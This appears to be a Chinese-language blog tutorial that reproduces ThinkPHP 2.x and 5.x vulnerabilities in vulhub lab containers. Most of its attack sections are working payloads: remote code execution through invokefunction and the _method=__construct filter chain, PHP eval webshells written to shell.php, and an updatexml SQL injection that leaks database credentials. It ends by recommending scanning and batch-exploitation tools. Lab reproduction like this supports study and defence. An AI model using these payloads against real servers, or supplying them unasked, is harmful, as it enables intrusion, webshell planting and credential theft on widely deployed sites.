一、基础知识
1.ThinkPHP简介:
ThinkPHP是一个开源,快速、简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
2.版本介绍:
ThinkPHP发展至今,主要有以下几个系列:
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。各个系列之间在代码实现及功能方面有较大区别。
3.高危漏洞列表:
二、漏洞复现
从上面的漏洞中选几个常见的,使用vulhub靶场复现一下。
ThinkPHP 2.x 任意代码执行漏洞
Thinkphp 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
影响版本:
ThinkPHP 2.x,3.0 Lite模式
环境搭建:
版本:ThinkPHP 2.1
进入对应目录:
vulhub/thinkphp/2-rce
启动本环境:
docker-compose up -d
复现过程:
访问 http://192.168.50.131:8080 进入靶场
Poc:
http://192.168.50.131:8080/index.php?s=/index/index/xxx(随便输)/${phpinfo()}
成功执行
getshell:
构造payload
http://192.168.50.131:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}
蚁剑连接
Thinkphp 5.x 远程代码执行漏洞1
由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况),对传入的路由参数过滤不严格,导致攻击者可以执行任意方法,从而导致远程命令执行漏洞。其中不同版本 payload 有些不同:
5.0.x:
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行phpinfo();
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?> // 写入shell
5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[a]);?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
影响版本:
ThinkPHP 5.0.5 ~ 5.0.22
ThinkPHP 5.1.0 ~ 5.1.30
环境搭建:
ThinkPHP 5.0.20
对应目录:
vulhub/thinkphp/5-rce
启动本环境:
docker-compose up -d
复现过程:
Poc:
http://192.168.50.131:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
getshell:
构造payload,写入shell:
http://192.168.50.131:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>
验证通过
蚁剑连接成功。
Thinkphp 5.x 远程代码执行漏洞2
获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本:
ThinkPHP 5.0.0 ~ 5.0.23
ThinkPHP 5.1.0 ~ 5.1.30
环境搭建:
进入对应目录:
vulhub/thinkphp/5.0.23-rce/
启动本环境:
docker-compose up -d
复现过程:
Poc:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
post提交,成功执行id命令:
getshell:
通过echo命令写入文件:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[a]);?>' >shell.php
上传成功
蚁剑连接:
ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞
传入的某个参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本:
ThinkPHP < 5.1.23 ,该漏洞关键点是需要开启debug模式。
环境搭建:
vulhub/thinkphp/in-sqlinjection/
启动本环境:
docker-compose up -d
复现过程:
Poc:
index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
下拉发现泄露数据库名、账号及密码:
然后就可以尝试远程连接。
三、工具使用
这里推荐两个利用工具。
TPscan
ThinkPHP漏洞检测,基于Python3,命令行检测,集成了14个常见的ThinkPHP框架漏洞检测插件。运行需要 gevent 库,可以在 https://www.lfd.uci.edu/~gohlke/pythonlibs/#greenlet 找到对应版本下载
我这里是python3.8的64位,下载放在python的根目录下,执行即可安装。
pip install gevent-21.12.0-cp38-cp38-win_amd64.whl
项目地址:
https://github.com/Lucifer1993/TPscan
运行py,输入指定的目标地址即可,检测到漏洞提示如下:
Thinkphp综合利用工具
Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,支持批量检测多个版本漏洞。下载链接